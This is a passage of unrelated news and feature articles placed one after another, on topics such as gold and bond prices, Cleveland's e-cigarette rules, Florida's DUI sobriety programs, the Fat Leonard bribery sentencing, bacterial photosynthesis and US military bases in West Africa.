both Caldwell-Pope – there was never a doubt about that – and Bullock. That completes a remarkable month for Bullock, who entered training camp competing with Adonis Thomas and Cartier Martin for a roster spot and now has two more seasons of salary guaranteed – a measure of how good he was throughout the preseason. -Call it the curious case of gold and bonds. Typically, the yellow metal and U.S. Treasurys move in opposition as investors shift from one to the other in search of a safe haven amid changing economic conditions. However, Dennis Gartman, editor and publisher of The Gartman Letter, highlighted some very unusual activity that's been underway in recent months. "Having been at this for 40 years, I always look for anomalies," explained Gartman on CNBC's "Futures Now" on Thursday. "It's very strange to me that, since June, as went gold so went the bond market." To this end, both gold and the U.S. 10-year Treasury note remained nearly unchanged in the last quarter. And, as Gartman pointed out, the absolute prices of both have rallied and fallen in tandem. "It doesn't make any sense to me," said Gartman. "If you go back over the course of the past many years, they move in contravention." -HYDERABAD: Renowned historian Dr Mubarak Ali has criticised the syllabus being taught at educational institutions of the country and called for rewriting it to make it more realistic. “The existing syllabus is meant for [producing] people of a particular mentality. If we teach such things to our young generation then what do we expect from them,” he said while delivering a lecture on ‘Role of youth in the country’s development’ organised by the Centre of Excellence in Art and Design of the Mehran University of Engineering and Tech­n­ology at Jamshoro on Saturday. He said that educational institutes should be free from law enforcement agencies personnel but the situation in Pakistan, particularly in Sindh, was different. Many countries had developed only through education and it still remained the only weapon to bring about a revolution in a society, he said. He said that he was proud of being a student and teacher at the Sindh University but at the same time expressed disappointment over the fact that SU, Sindhi Adabi Board and other educational institutions were not delivering as was expected from them in the fields of culture, history and education with the result that today’s students were unaware of their rights. “If we look at history, students have produced great leadership in the world. In Pakistan and Sindh students have played a vital and productive role in the past even during the rule of military dictator Ayub Khan,” he said. He said that students played a central role in the freedom struggles in Bangladesh, Germany and several other countries and they were playing a similar role to bring about change in Pakistani society when Gen Ayub imposed a ban on student unions. But they led from the front and forced him to take back his decision, he said. He said the countries like Germany where education was free right from primary to university level were developing by leaps and bounds as they knew they needed skilled youth to maintain the progress but Pakistanis did not pay the attention to education it required. About pitfalls of writing fragmented history, he said, for instance people quoted examples of Quaid-i-Azam and Allama Iqbal without giving necessary details to enable youth to make their own opinions about them. MUET Vice Chancellor Prof Dr Mohammad Aslam Uqaili said that Dr Mubarak had contributed enormously to the history of Pakistan and Sindh and his books were guidelines for the youth. He said that unfortunately people’s attitudes had hardened and no one was ready to listen to the other’s point of view and accept him as he is. “Sindh is a citadel of Sufi teachings but prolonged Afghan war has had a bad impact on its dwellers’ behaviour, which needs to be changed to promote harmony,” he said. CEAD director Prof Dr Bhai Khan Shar said that it was an honour for Sindh and Pakistan to have towering scholars like Dr Mubarak Ali. The CEAD would continue to organise such informative and highly enlightening lectures to educate its students, he added. Published in Dawn, March 29th, 2015 On a mobile phone? Get the Dawn Mobile App: Apple Store | Google Play -After years of declared victories, Cuyahoga County's public health advocates and leaders fear that once again they are losing the battle against smoking. The county's smoking rates had fallen to less than 19 percent of residents in 2007. But that rate is back up to about 24 percent. And in in some Cleveland neighborhoods, more than 30 percent of adults smoke. For Cleveland City Councilman Joe Cimperman, the statistics are a call to action. "Our goal is to change the culture of smoking in Cleveland and if people have a problem with that than that's good," Cimperman says. "People should have a problem with people dying too soon from diseases like emphysema and lung cancer." The city had already banned cigarette smoking in publicly-owned outdoor areas such as parks, community gardens, and within 150 feet of public places like City Hall and the convention center. Now, that law extends to e-cigarettes. Nigel Aviles, who sells e-cigarettes at Record Revolution in Cleveland Heights, rolls his eyes when he hears the new rules. "It helps people to stop smoking traditional cigarettes. They wean off of it through various dosages of nicotine," Aviles says. Executives in the e-cigarette industry have said the product can help people quite tobacco. But Cuyahoga County's Health Commissioner Terry Allan says there's no definitive proof and disagrees. Instead, Allan says, e-cigarettes are another way to become addicted to nicotine. "Public health people see e-cigarettes as a renormalization of tobacco use. It's a tobacco product," Allans says. "And we consider it a tobacco product." Other cities that have banned smoking e-cigarettes include New York and Chicago. And, closer to home, Lakewood banned the sale of e-cigarettes to minors earlier this summer. -Instant public surveys on Barack Obama's address before Congress showed, by and large, that the public was incredibly receptive to his speech, regardless of political party. But that did not hold true for every single study. A CBS News poll of approximately 500 people saw approval of the president rise from 62 percent before the speech to 69 percent afterward. Meanwhile, a poll on CNN showed that 68 percent of respondents -- who skewed a bit Democratic -- viewed the speech positively, 24 somewhat positively, and only eight percent not positively. Eighty-two percent supported the president's economic plan as outlined in the speech, while 17 percent opposed it. Those results were buttressed by the findings of longtime Democratic pollster Stan Greenberg. In his own dial poll, which included 50 participants of mixed gender, education and politics, Greenberg found a large swath of bipartisan support for Obama's addres. That included a 14 percent jump, from 62 to 76 percent, in the favorability rating for the president. Saying at the onset that this was an "immensely successful speech," he highlighted a few issues on which Obama won over the audience. * On taxes, "there was a 26-point gain," from 38 to 64 percent, "the biggest gains that he made." * On the deficit, "there was an 18 point swing... from 42 percent to 60 percent." * On Iraq, "there was a 18-point swing" (no numbers were offered) "I've never seen this," Greenberg added. For a large part of the speech, all three, the Republican, Democratic and independent line where virtually in the same place." What was striking, Greenberg concluded, was "how un-polarized the reaction was to this speech. I have not quite seen that." He should tell that to the generally conservative Luntz, Maslansky Strategic Research group. Mike Maslansky, the CEO of that firm, when speaking with the Huffington Post, said he found "some of the biggest partisan divides that we ever see" in the reaction to Obama's address. In a survey of 29 registered Democrats and Republicans in suburban Virginia, who Maslansky said were ALL generally skittish about Obama's economic plans and housing proposals, Obama managed to win over a large chunk of the crowd. Eleven respondents, nine of whom were Democrats, thought that the speech exceeded expectations. Only three thought it failed to meet expectations, all of whom were Republicans. But the responses often broken down by political affiliation. Talk on the stimulus, Maslansky said, proved most divisive, as did talk of repairing the housing industry and, more generally, health care reform. On energy, Obama won bipartisan plaudits, as he did when he emphasized personal responsibility both for parents dealing with their kids' education and politicians dealing with on pet interests. -How To Talk About A Significant Other's Weight Dear Sugar Radio is a weekly podcast from member station WBUR. Hosts Steve Almond and Cheryl Strayed offer "radical empathy" and advice on everything from relationships and parenthood to dealing with drug problems or anxiety. toggle caption Courtesy of WBUR Today the Sugars take on a sensitive issue for millions of Americans: physical appearance — and specifically, how much someone weighs. A young man writes to the Sugars, wondering how to talk about his girlfriend's weight. It's an especially complicated issue, given how society has historically treated women related to their appearance. They're joined by Lindy West, a writer, editor and performer whose work focuses on pop culture, social justice and body image. She's the author of Shrill: Notes from a Loud Woman. Dear Sugars, I am a 24-year-old college graduate in my first serious romantic relationship. My experience with girls before this was extremely limited. I've been dating my girlfriend for over six months now, and she is wonderful. However, her weight has always been a minor issue in the back of my mind: She is not fat but she has a few extra pounds and this can be seen more when she's wearing fewer clothes. I love her and would never ask or demand her to change just for me, but I've been thinking more and more about how her weight bothers me a little bit. I'm a very thin guy and have naturally gravitated physically toward thinner girls. Until now, I have avoided talking about the matter with my girlfriend except in general terms about others, or the few times she has brought up and engaged with me directly on the matter. When her doctor told her she needed to lose some weight to be healthier, she was upset, although she did not disagree. So I spoke to my therapist and my roommate, and although they're both men, they both thought that if it was something on my mind and was making me a little uneasy that I should bring it up with her. I did, and she did not respond with as much understanding as I hoped. She felt hurt and a little violated, like the one guy who's supposed to love and accept her and find her beautiful just the way she is was attacking a part of her identity. She was shocked, confused and taken aback. She tried to explain how some issues are so sensitive, touchy and personal for women that they should never really be brought up for the sake of the satisfaction in the relationship. In all fairness, I did bring it up a little suddenly and not in the most tactful or direct way, but I didn't know how else to start a hard, uncomfortable conversation I was not looking forward to. She has genes that make it easier for her to gain weight and harder to lose. She has recently started going to the gym, and I was trying to support and encourage her to go more consistently. My question for you is: Was I wrong for not being sensitive to how women think? Should I have let it go if I considered it a smaller issue in our relationship? Would it have made a difference if I spoke to another woman to ask her thoughts beforehand on if and how I should bring this up with my girlfriend? Did I need to? I love her and she is very big on being honest and open and comfortable in trusting each other. Our relationship never hinged on her weight, but I just want to come out stronger. Signed, The Question of Weight Cheryl Strayed: The Question of Weight, you sound like such a sweet and innocent and naive young man, and I think you made a big mistake. Indeed, you are supposed to love and accept her and find her beautiful just the way she is. I think you stepped into something that has a deeper and more complicated social and cultural history. Women are under scrutiny in enormously harmful ways when it comes to their bodies and their appearance and their weight in relation to their value to men, especially in romantic relationships. Listen To The Podcast Subscribe to Dear Sugar Radio: RSS iTunes Stitcher Enlarge this image toggle caption Jennie Baker Photography/Courtesy of WBUR Jennie Baker Photography/Courtesy of WBUR And I think that, honestly, if you found her to be chubbier than you want her to be, you maybe should have not dated her to begin with, or you should have decided that it was worth ending this relationship with this person. Steve Almond: I have a slightly different take on this. I think he's coming to us in his first serious relationship with insecurities of his own about his body. There's something in him that feels a little bit unmanned by her being larger. It's not just about her body. His attitudes toward this woman, who isn't thin, somehow is triggering within him a kind of self-doubt about his own body image that he hasn't quite recognized. Cheryl: The Question of Weight, I have strong feelings about what you did because I know how it feels to be that woman who is being told by a man, "You don't meet this ideal that I've constructed and that society has helped me construct. And even though I love you and you're wonderful and I don't have any complaints about you, I've decided that I'm going to ask you to be physically perfect for me, too." I don't know what's going to happen in this relationship. I do think that this was hurtful to your lover, and she's probably going to carry this into your sex life, as well. I do think that honesty is really important. I think kindness is too, and generosity. I think that, Question of Weight, your relationship might be permanently damaged because of this. But whether it is or not, I encourage you to examine those messages that you've received about what women should look like, and how you might open your mind a bit. Lindy West: What comes through in this letter is that their relationship isn't "real" until she can fix herself. That's how I felt about myself; I needed to fix this problem that made me not a real woman and not worthy of the respect that every other human being deserves. Everything was on hold until I could make myself thin. There was just this really low-grade despair all the time, because the narrative that you're fed is that as a woman, your job is to be pretty and small — small physically and small in your presence. And then you wait for someone to pick you. I was always very aware that I didn't look like the kind of girl who got picked, and so I was sort of resigned to the fact that I would be alone. But what you learn when you grow up is, what you look like is irrelevant compared to what you are like. If you're confident and fun and engaged with people and you go out and are yourself, that's extremely attractive. And that proved true for me. You can get more advice from the Sugars each week on Dear Sugar Radio from WBUR. Listen to the full episode to hear more discussion about how weight and physical appearance can affect relationships. Have a question for the Sugars? Email dearsugarradio@gmail.com and it may be answered on a future episode. You can also listen to Dear Sugar Radio on iTunes, Stitcher or your favorite podcast app. -If the international spread of SlutWalk means anything, it means this: You should never underestimate the power of a simple idea. Nor should you expect that idea to remain simple for very long. SlutWalk has become massive; its website lists completed or planned events in several dozen American and Canadian cities, with still more marches occurring in Australia, Sweden, the Netherlands, and the UK. But it’s worth noting that its inspiration was relatively small and local. This January, at Osgoode Hall Law School, a Toronto policeman giving a lecture on campus safety told students that, although he’d been “told not to say it,” he thought women should stop dressing like “sluts” so as to avoid being sexually assaulted. Which, of course, is one of the oldest and worst lines in the book, when it comes to excusing rape. The fact is, anyone can be sexually assaulted; young or old, of any gender, of any race, conventionally attractive or not. The only common denominator in any rape or sexual assault is the presence of a sexual assailant. But the fact that a police officer, someone to whom a victim would be expected to turn to after an assault, could include victim-blaming in his “safety tips”: Well. It was a small incident. But it spoke volumes. Hence, SlutWalk: Women and men taking to the streets to demand accountability from the Toronto police. Its goals were small and local focused; its message was equally simple and unequivocal. Its branding, however, stood out. “Whether dished out as a serious indictment of one’s character or merely as a flippant insult, the intent behind the word [‘slut’] is always to wound,” said the organizers, “so we’re taking it back. ‘Slut’ is being re-appropriated.” And so they did. The SlutWalk movement said — indeed, implicitly demanded — that those who participated in the march should be willing to identify as “sluts or allies.” It was an incredibly catchy, implicitly theatrical premise. Many of the protesters played that up, dressing in the sorts of revealing and provocative outfits that the Toronto policeman had condemned. The cameras tended to find those protesters first. For some of those who joined, it was a simple way to identify. Some were sex workers, used to hearing that their impermissible sexuality was an excuse for police brutality, legal oppression, and violent assault or even murder. Others were women who enjoyed casual sex, or people who had sex in non-vanilla ways. For others, the label came less naturally; still, since any given woman can be labeled a “slut,” even the most monogamous or virginal among us, it made sense to march in solidarity. The simplicity of the message — no matter who you are, or how anyone else views your sexuality, you deserve safety — made it possible for the movement to gain ground anywhere that message rang true, until the outrage was not so much about anything that one man had done, but about the rage and pain that come with being sexual in a rape culture. And so, SlutWalk transcended Toronto, and the offending police officer, and became an international movement. And yet. Several women of color have written that the event is based in white culture, white problems, and white assumptions — for example, the idea that one can expect “safety” when dealing with law enforcement in the first place. “This event will not stop the criminalization of black women in New Orleans,” wrote Aura Blogando, “nor will it stop one woman from being potentially deported after she calls the police subsequent to being raped. SlutWalk completely ignores the way institutional violence is leveled against women of color. The event highlights its origins from a privileged position of relative power, replete with an entitlement of assumed safety that women of color would never even dream of.” Still others have pointed out that the mere fact of wearing a “slutty” outfit does not always signify freedom, and feeling pressured to do so, or to reclaim the “slut” label, can in fact intensify and re-iterate their oppression: “In the post 9/11 climate,” wrote Harsha Walia, “the focus on a particular version of sex(y)-positive feminism runs the risk of further marginalizing Muslim women’s movements who are hugely impacted by the racist ‘reasonable accommodation’ debate and state policies against the niqab.” Simply telling women that they “can” or “should” be more sexually open or dress more scantily does not make sense, if those women are routinely persecuted for a seeming lack of sexual availability, or for wearing clothes that cover “too much” of their bodies. In a virgin-whore dichotomy, women are of course assaulted on both ends of the spectrum; anyone who plays the game will lose. That’s how rigged games work. This matters. Because these are the dangers of making an international movement out of a simple, local protest. “SlutWalk” made sense, as an immediate reaction to the events in Toronto: When the police officer blames rape on revealing outfits, you wear a revealing outfit. When the police officer uses the term “slut” in a derogatory way, you use it in a positive one. But once it was exported, its flaws became apparent. It did not, and could not, speak to the needs of every woman; nor could it adequately sum up and address every facet of rape culture. And so, removed from its original context, it stopped being simple, and became simplistic. Simple ideas are great for attracting crowds, especially when they come with camera-ready spectacle. But there is no way that SlutWalk can be made to bear the entire weight of anti-rape activism; relying solely on SlutWalk as our means of protesting anything — rape, sexism, even something as specific as slut-shaming — will invariably reveal that it does not measure up. No one protest or movement, not even one as widespread and as great at calling attention to itself as SlutWalk, can do that. Feminism cannot live on SlutWalks alone. The fact that the movement has been so widely embraced does not mean that we should turn to it exclusively. What it means is that other protests can and should be happening; in addition to making the SlutWalk movement itself more inclusive and responsive, it’s essential that its organizers turn the mic over to other organizers, with ideas about protesting rape culture that extend beyond the “reclaiming slut” banner. The best thing for SlutWalkers now is to listen to the people who feel left out, and help them. The Sluts can and should keep Walking. But they should also recognize when to follow someone else’s lead. -TALLAHASSEE (CBSMiami/NSF) — Judges may have another way to help repeat DUI offenders sober up for good. Instead of blowing into a machine which keep their cars from starting, they may have to get their breath tested twice a day. The proposal, approved by a House committee last week, would allow judges to place repeat DUI offenders into a new program, known elsewhere as “24/7 Sobriety,” instead of having ignition interlock devices installed on their vehicles. State law currently requires interlock devices for drivers with more than one DUI. Judges would have the discretion to order the devices as well as the 24/7 program. In general, the program outlined in HB 7005, approved unanimously by the House Economic Affairs Committee, would require that drivers submit to twice-daily breath tests, random urinalysis or continuous monitoring devices, such as drug patches or ankle bracelets. Supporters say the 24/7 abstinence-based programs have shown significant reductions in drunken driving and other alcohol- or drug-related offenses such as domestic violence, and have better compliance rates than the interlock devices. The proposal is the latest salvo in a vendor-driven fight about possibly expanding the use of ignition interlock devices, used by more than 10,000 Floridians, to first-time DUI offenders. Vendors have pushed that idea over the objections of state highway safety officials. But instead of adding to the vendors’ market share, an amendment slipped onto HB 7005 last week would lead to the new 24/7 program — possibly shrinking the use of interlock devices. The bill also includes a priority of House Speaker Will Weatherford dealing with driver’s licenses. Florida Department of Highway Safety and Motor Vehicles Executive Director Julie Jones, who recently lost a court fight to interlock-device vendors, is one of a growing number of driving safety experts who believe the abstinence-based programs are a better way to ensure that repeat offenders clean up their act. Jones has proposed shifting half of interlock-device users into a 24/7 program and measuring the effectiveness of both programs for five years. “The current IID (ignition interlock device) program has been very helpful for the treatment of impaired driving offenders. But why limit ourselves to one method that is exclusive to drinking while driving while drugged-driving violations continue to increase?” Jones said recently. Jones said she was not responsible for the amendment that would give judges the option to impose the 24/7 program instead of the interlock devices, but she did change it so that her department would have to authorize the program. And she has repeatedly objected to efforts by the vendors to expand the interlock-device program — a $10 million a year industry in Florida — to first-time offenders, something backed by Mothers Against Drunk Driving and favored by federal transportation officials. But Jones said research shows that the majority of first-time offenders don’t need more intervention to stay out of trouble. The amendment was proposed by a vendor for Intoximeter, a hand-held breath testing device used by 24/7 programs elsewhere and already in use in other programs in Florida. Letting drivers with multiple DUI offenses get behind the wheel without interlock devices would be a major shift in policy, Douglas Mannheimer, a lobbyist for Alcohol Countermeasure Systems, told the House panel last week. ACS is one of three interlock vendors now doing business with the state. “The difference in policy now is that person that’s in the program may … go to the convenience store, buy something, get in that car. Right now … the car would not start,” Mannheimer said. But under the proposed changes, “we could have second, third or even fourth offenders driving when I think the word is they proverbially fell off the wagon that afternoon,” he said. Meanwhile, a pilot 24/7 program in Jacksonville, the first in Florida, is slated to begin during the first week in May. The program was developed by the Jacksonville Sheriff’s Office and the Northeast Florida Safety Council, the organization that provides court-ordered services, including DUI programs, in a nine-county region including Jacksonville. Bill Mickelson helped create the country’s first “24/7 Sobriety” program in 2005 when, as a deputy state attorney general in South Dakota, he was intent on reducing the number of prisoners locked up for alcohol- or drug-related offenses, about two-thirds of those behind bars in the state at the time. Mickelson, now a consultant, came to Florida to try to convince sheriffs and others to embrace the 24/7 abstinence approach for habitual offenders. In the eight years since South Dakota implemented 24/7, 37,000 individuals have participated in the program and provided a total of 7 million breath tests. A RAND Corp. study found a 12 percent reduction in repeat DUI arrests over a five-year period. “It’s the first time in their alcoholic careers that somebody’s held them accountable for their sobriety,” Mickelson, who also consults for Intoximeters, Inc., said. “There is a sure and measured and a swift consequence for a bad act, unlike other testing methodologies where there’s a time delay.” South Dakota’s 24/7 program has become a model for the country, and federal highway safety officials are encouraging states to adopt it. So far, only two other states — North Dakota and Montana — have implemented similar programs statewide. The programs are premised on frequent testing paired with immediate consequences, usually jail time, for individuals who fail breath tests. In Jacksonville, those who fail breath tests for the first time will go to jail for 12 hours and face 24 hours for a second slip. The same consequences apply for individuals wearing patches or bracelets measuring alcohol or drugs. A third failure would result in an appearance before a judge and incarceration. The interlock devices have been in use in Florida for a decade. Since then, nearly 6,000 of the 68,048 drivers ordered into the program received subsequent DUIs, and about 1,000 received DUIs while they were in the interlock program, according to data provided by the Department of Highway Safety and Motor Vehicles. The Jacksonville pilot project will give judges the option of ordering the 24/7 program as a requirement for pretrial release, probation or bond, and is not limited to driving offenses. Drivers ordered into the program may also have to participate in other programs, including rehab or counseling, required separately for some DUI offenders. Northeast Florida Safety Council Executive Director Sue Holley, who helped develop the Duval County pilot project, said interlock devices work well for some drivers. But the devices don’t stop people from drinking and driving or from drinking altogether. “The substance abuse issue is so complicated and complex and it’s very difficult to find the one thing that works for everybody,” Holley, who has worked with DUI programs for three decades. Like DHSMV Director Jones, Holley views 24/7 sobriety as a more modern, holistic approach toward treating repeat offenders before allowing them to have their licenses fully reinstated. “We’re looking at this program, the 24/7 program, as probably being the next revelation for the DUI programs to be able to better serve the DUI offender, to provide better outcomes as far as their success with not re-offending, which is our goal,” she said. “I want to be able to go home and sleep at night. I don’t want to have to rely on one single tool to be the magic torch.” “The News Service of Florida’s Dara Kam contributed to this report.” -SAN DIEGO (AP) — A U.S. Navy commander was sentenced Friday to 18 months in prison for his role in a fraud and bribery scheme that cost the government about $35 million. Cmdr. Bobby Pitts, 48, of Chesapeake, Virginia, was the latest person to be sentenced in connection with a decade-long scam linked to a Singapore defense contractor known as “Fat Leonard” Francis. Francis bribed Navy officials to help him overbill the Navy for fuel, food and other services his company provided to ships docked in Asian ports, according to prosecutors. The bribes allegedly ranged from cash and prostitutes to Cuban cigars and Spanish suckling pigs. Pitts pleaded guilty in 2015 to charges that alleged he tried to obstruct a federal investigation while in charge of the Navy’s Fleet Industrial Supply Command in Singapore. In handing down the sentence against Pitts, U.S. District Judge Janis Sammartino told him that he had “betrayed the Navy and betrayed the country,” prosecutors said in a news release. “Pitts deliberately and methodically undermined government operations and in doing so, diverted his allegiance from his country and colleagues to a foreign defense contractor, and for that, he is paying a high price,” said Adam Braverman, the U.S. Attorney in San Diego. In addition to his prison sentence, Pitts was also ordered to pay $22,500 in fines and restitution. -Jan 20, 2013; Atlanta, GA, USA; San Francisco 49ers running back Frank Gore (21) runs for a touchdown against the Atlanta Falcons during the third quarter of the NFC Championship game at the Georgia Dome. Mandatory Credit: Matthew Emmons-USA TODAY Sports The San Francisco 49ers are very angry about last year, so they want to take out their anger on Matt Ryan and the Atlanta Falcons. And Colin Kaepernick and company are more than capable. San Francisco and Atlanta meet today at 12 PM PT at the Georgia Dome with a berth in Super Bowl 47 at stake. Colin Kaepernick accumulated 444 total yards last year, and he is trying to exploit a defense that has struggled against the read-option. Ryan and his star receivers are going to try and tear up San Francisco’s secondary. But they won’t be able to do that if Aldon and Justin Smith apply pressure. Stay tuned here for updates and analysis of the 2013 NFC Championship. -PULLMAN, Wash. - Researchers at Washington State University have discovered a new type of cooperative photosynthesis that could be used in engineering microbial communities for waste treatment and bioenergy production. They report today on the unique metabolic process seen for the first time in a pair of bacteria in Nature Communications. Photosynthetic bacteria account for nearly half of the world's food production and carbon-based organic material. The research could also improve understanding of lake ecology. Phototroph + electron generator Prosthecochloris aestaurii , a green-tinged, plant-like microbe, comes from the extreme environment of Hot Lake, a high salinity lake in northern Okanogan County near Oroville, Wash. Discovered and identified a few years ago by researchers at the U.S. Department of Energy's Pacific Northwest National Laboratory and Southern Illinois University, the bacterium is able to photosynthesize, using sunlight along with elemental sulfur or hydrogen sulfide to grow. The researchers noticed that P. aestuarii tended to gather around a carbon electrode, an electricity conductor that they were operating in Hot Lake. The researchers isolated and grew P. aestuarii and determined that, similar to the way half of a battery works, the bacterium is able to grab electrons from a solid electrode and use them for photosynthesis. The pink-colored Geobacter sulfurreducens meanwhile, is known for its ability to convert waste organic matter to electricity in microbial fuel cells. The bacterium is also used in environmental cleanup. G. sulfurreducens, like animals and humans, can't photosynthesize. It consumes organic compounds, such as acetate, and "breathes" out carbon dioxide. The bacterium is known for its ability to donate electrons to a solid electrode. As it consumes acetate, it generates electrons, which can be collected as electricity. Microbes paired up in WSU lab Led by Haluk Beyenal, the Paul Hohenschuh Distinguished Professor in the WSU Gene and Linda Voiland School of Chemical Engineering and Bioengineering, and postdoctoral researcher Phuc Ha, the research team surmised that the bacteria might be able to help each other grow and put them together in the lab. The researchers found that P. aestuarii could accept electrons generated from G. sulfurreducens and use them in a new type of anaerobic photosynthesis never before seen. Similar to how a battery or fuel cell works, the bacteria transfer electrons. They feed off each other to grow under conditions in which neither could grow independently. Ecology-friendly implications From an ecological perspective, this new form of metabolism may play an important role in carbon cycling in oxygen free zones of poorly mixed freshwater lakes. It may also present new possibilities for engineering microbial communities for waste treatment and bioenergy production. "We think this could be a common bio-electrochemical process in nature," said Beyenal, whose team is working to better understand the electron transfer mechanism. ### The work was funded by the U.S. Department of Energy. Researchers from PNNL and China University of Geoscience also collaborated on the project. The work is in keeping with WSU's Grand Challenges, a suite of research initiatives aimed at large societal issues. It is particularly relevant to the challenge of sustainable resources and its theme of meeting sustainable energy needs while protecting the environment. -Donald Trump’s poll numbers in the Philly suburbs have gone from bad to worse. The latest poll shows his trouble might be even bigger than anticipated, and because respondents in the crucial ring around the city have a big problem with the “Access Hollywood” tape. According to a poll released this morning from Bloomberg, Hillary Clinton now leads Trump in the Philly ‘burbs by 28 points. Her overall lead in the state among likely voters is 48-39. This is the first major poll of Pennsylvania since an audio recording of Trump saying, among other comments, “Grab ’em by the pussy. You can do anything.” The difference between the rest of Pennsylvania and Montgomery, Bucks, Delaware and Chester counties is stark. All of Pennsylvania, for instance, is pretty lukewarm on Trump. Forty percent of Bloomberg respondents said they had a favorable rating of him. But people in the Philly suburbs really can’t stand him. Only 28 percent of respondents said they had a favorable rating of him. The lack of love for Trump is obvious when compared to how the ‘burbs voted in 2012. Then, Barack Obama still beat Mitt Romney handily, but his margin was 10 percent. This poll shows Clinton 18 points ahead of that. It also shows Clinton eight points ahead of a late September poll that showed her with a 20-point lead in the Philly suburbs. Why such a huge margin for Clinton? The growth in Clinton’s lead may have a little to do with the “Access Hollywood” tape. In the suburbs, 83 percent of respondents said they were bothered either a little or a lot by Trump’s comments. But the rest of the state was angered, too, with 78 percent of Pennsylvania respondents overall saying they were bothered. Like many other pieces of this election, Clinton’s huge advantage in the suburbs in some ways defies explanation. While she expectedly leads by huge margins among women and college graduates in the suburbs, she’s also tied with Trump among whites and leading him by one point among men in the combined area of Bucks, Chester, Delaware and Chester counties, according to the Bloomberg poll. In the rest of the state, Trump is dominating these categories and catering to them with his message. Bloomberg noted that in the rest of Pennsylvania Trump has an 11-point lead. The problem for Trump — and the positive for Clinton — is the rest of Pennsylvania doesn’t matter if you’re failing in the ‘burbs, which accounted for 22 percent of the state’s voters in 2012. “I don’t know how you win if you lose the suburbs by a certain percentage,” said Terry Madonna, a Franklin and Marshall pollster. “You can’t lose by 20 points.” -While discussions continue on the future of the Prototype Challenge platform, the existing spec Oreca FLM09 cars could receive a series of updates for next year’s IMSA WeatherTech SportsCar Championship season. The possible updates, ranging from a 30-50 horsepower increase, to a new ECU that includes traction control and telemetry, and minor aero changes have been proposed by teams as a cost-effective, stop-gap measure for the aging French prototype until the introduction of an all-new platform for as early as 2017. IMSA met with PC team owners last weekend at Circuit of The Americas to discuss various options for the future. “IMSA continues to evaluate the future of the Prototype Challenge class through 2016 and beyond,” said Simon Hodgson, IMSA managing director, racing operations. “As part of this process, IMSA has ongoing dialog with current PC competitors, as well as ORECA and Katech, the current single-specification suppliers, in addition to considering other options. “IMSA will ensure our loyal PC stakeholders – and any future stakeholders – are kept fully informed as we near a conclusion to this evaluation process.” While PC team owners had previously been split on the category’s future direction, the majority appear to be in agreement of rolling out updates to the existing car for 2016, prior to a complete new platform the following year. “We’ve been working pretty hard with IMSA since Laguna on this project, everything from the future of the class to trying to bring in the LMP3 car,” Starworks Motorsport team owner Peter Baron told Sportscar365. “I think the series has done a good job with trying to be financially reasonable and responsible for what the class needs and not go crazy with it. LMP3 didn’t work out, so now the future is to upgrade the PC car.” IMSA hosted an open test with a Ginetta-Nissan LMP3 car at Watkins Glen in June, which saw a number of drivers walk away less-than-impressed with the low power output and handling of the British-built entry level prototype. While further LMP3 examples have come online since, including the highly regarded Ligier JS P3, current PC teams have expressed interest in developing an all-new platform for 2017 that’s largely based off of a new-spec P2 car. The latest proposal differs from ORECA’s proposed upgrade kit, which would have resulted in an entirely new set of bodywork. “From my perspective, there’s only really two viable paths,” CORE autosport Chief Operating Officer Morgan Brady told Sportscar365. “The one that we’re discussing are the smaller technical updates as a stop-gap measure. “The one I’m interested in and excited about would be basically a P2-derived spec chassis as a replacement for the LMPC car. That would certainly be interesting for me. “As far as LMP3, I don’t think it’s really an option based on outright performance. And if the LMPC car has a short lifecycle left, it doesn’t make sense to do a large, excessive update.” While IMSA has yet to make a final decision on possible updates to the existing FLM09s, Brady feels the proposed changes, estimated to cost between $30,000-50,000 in total, would be a step forward for next year. “When we started looking at options for the PC car, there’s not a whole lot of things wrong with it but there are some key aspects missing,” he said. “I think with a cost-effective update that brings some additional technology and drivability to the car, it would create a lot of interest and potentially increase the car count for next year.” Baron, meanwhile, agrees that interest in the class could go up, particularly as operating costs are expected to rise in other categories. “With the costs of the GTD packages all going up, I think there’s a lot more activity and interest for the PC class,” he said. A final decision on what upgrades will be used in 2016 is expected to be made in the coming weeks, possibly during the Petit Le Mans weekend. “Time is of the essence, and it’s of paramount importance that any decision provides clear direction for stakeholders and reflects IMSA’s continued goal of providing our competitors with a platform that is cost effective, stable and speaks to the Pro-Am nature of the class,” Hodgson added. -Anders Lindsjo Coaching the Snatch w/ Christmas Abbott – TechniqueWOD Subscribe to TechniqueWOD on YouTube A few weeks ago the Barbell Shrugged team had the pleasure of training with Anders Lindsjo, Head Strength Coach for Eleiko Sport in Halmstad, Sweden. Anders is kind, highly knowledgeable, and very well qualified. He was also a Swedish World and Olympic team member for about 10 years, so he’s spent plenty of time underneath the barbell. Usually on TechniqueWOD we break down movements into their essential components and demonstrate how they should be done. But this week we thought we’d offer you a different kind of experience, something you don’t get to see that often. This week Anders leads our friend Christmas Abbott through some intense technique work for the snatch. If you’re an aspiring coach pay very close attention and get your notepad ready. There are about a million knowledge bombs here that you’re going to want to write down. If you want to become an expert coach, start by observing an expert coach. Enjoy, For more What does it take to make the world’s finest barbell? Learn all about Eleiko on Episode 155 of Barbell Shrugged . . Learn more about Eleiko’s excellent coaching courses by visiting their website . . Want more TechniqueWOD? We’ve got you covered. -With the winding down of the wars in Iraq and Afghanistan, Washington is turning its sights elsewhere. Quietly, the Obama administration is building up a vast array of military resources in West Africa, and specifically in Portuguese-speaking Lusophone countries. Reportedly, the Pentagon wants to establish a monitoring station in the Cape Verde islands, while further south in the Gulf of Guinea U.S. ships and personnel are patrolling local waters. Concerned lest it draw too much attention to itself, the Pentagon has avoided constructing large military installations and focused instead on a so-called “lily pad” strategy of smaller bases. In São Tomé and Príncipe, an island chain in the Gulf of Guinea and former Portuguese colony, the Pentagon may install one such “under the radar” base, and U.S. Navy Seabees are already engaged in construction work at the local airport. Just why has the Obama administration invested so much time and effort in this corner of the globe? To be sure, controlling remote “lily pads” may come in handy in the battle against Islamist militants operating farther inland in such countries as Mali and Niger. Washington also wants to counteract drug smuggling emanating from West Africa, a volatile and politically unstable region. Guinea-Bissau, a former Portuguese colony, has in recent years turned into a cocaine hub, and the United Nations has called the country a “narco-state.” Guinea-Bissau is geographically situated at Africa’s most westerly point, and South American smugglers are thought to transport drug shipments from here on to Cape Verde and then to Europe. Reportedly, Brazil has become South America’s largest net exporter of drugs to Africa. However, in recent years African traffickers have begun to produce methamphetamines and have muscled in on their Latin counterparts, wresting an increasingly large portion over the drug smuggling business. The Africans ship cocaine by sea and have assumed international control over cocaine exports as far away as the Brazilian city of São Paulo. Brazilian drug traffickers, meanwhile, are left with the domestic side of the business and are forced to sell coke to locals. Oil Intrigue in the Gulf of Guinea To be 